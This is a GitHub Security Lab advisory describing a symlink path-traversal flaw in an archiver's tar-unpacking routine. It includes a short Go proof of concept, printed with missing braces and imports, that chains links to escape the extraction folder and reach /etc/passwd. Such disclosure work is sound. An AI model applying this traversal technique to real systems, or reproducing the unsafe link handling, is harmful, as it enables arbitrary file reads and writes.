January 12, 2021

GHSL-2020-252: Unsafe handling of symbolic links in archiver unpacking routine

GitHub Security Lab Team

Coordinated Disclosure Timeline


The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.



Tested Version

Latest commit at the time of reporting (November 27, 2020).


Unsafe handling of symbolic links in unpacking routine

The routine untarFile attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball's parent directory, contrary to the routine's goals.

Proof of concept, using a version of untarFile tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (

func main() {
  var headers []tar.Header = make([]tar.Header, 3)

  headers[0].Name = "subdir/parent"
  headers[0].Linkname = ".."
  headers[0].Typeflag = tar.TypeSymlink

  headers[1].Name = "subdir/parent/passwd"
  headers[1].Linkname = "../../etc/passwd"
  headers[1].Typeflag = tar.TypeSymlink

  headers[2].Name = "subdir/parent/etc"
  headers[2].Linkname = "../../etc"
  headers[2].Typeflag = tar.TypeSymlink

  for _, hdr := range headers {
	to := "/tmp/extracthere"
    untarFile(to, hdr)


func untarFile(destination string, hdr tar.Header) error {

  to := filepath.Join(destination, hdr.Name)

  switch hdr.Typeflag {
    case tar.TypeSymlink:
      return writeNewSymbolicLink(to, hdr.Linkname)
      return fmt.Errorf("%s: unknown type flag: %c", hdr.Name, hdr.Typeflag)

func writeNewSymbolicLink(fpath string, target string) error {
  err := os.MkdirAll(filepath.Dir(fpath), 0755)
  if err != nil {
    return fmt.Errorf("%s: making directory for file: %v", fpath, err)

  _, err = os.Lstat(fpath)
  if err == nil {
    err = os.Remove(fpath)
    if err != nil {
      return fmt.Errorf("%s: failed to unlink: %+v", fpath, err)

  err = os.Symlink(target, fpath)
  if err != nil {
    return fmt.Errorf("%s: making symbolic link for: %v", fpath, err)
  return nil


This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.


This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).


You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-252 in any communication regarding this issue.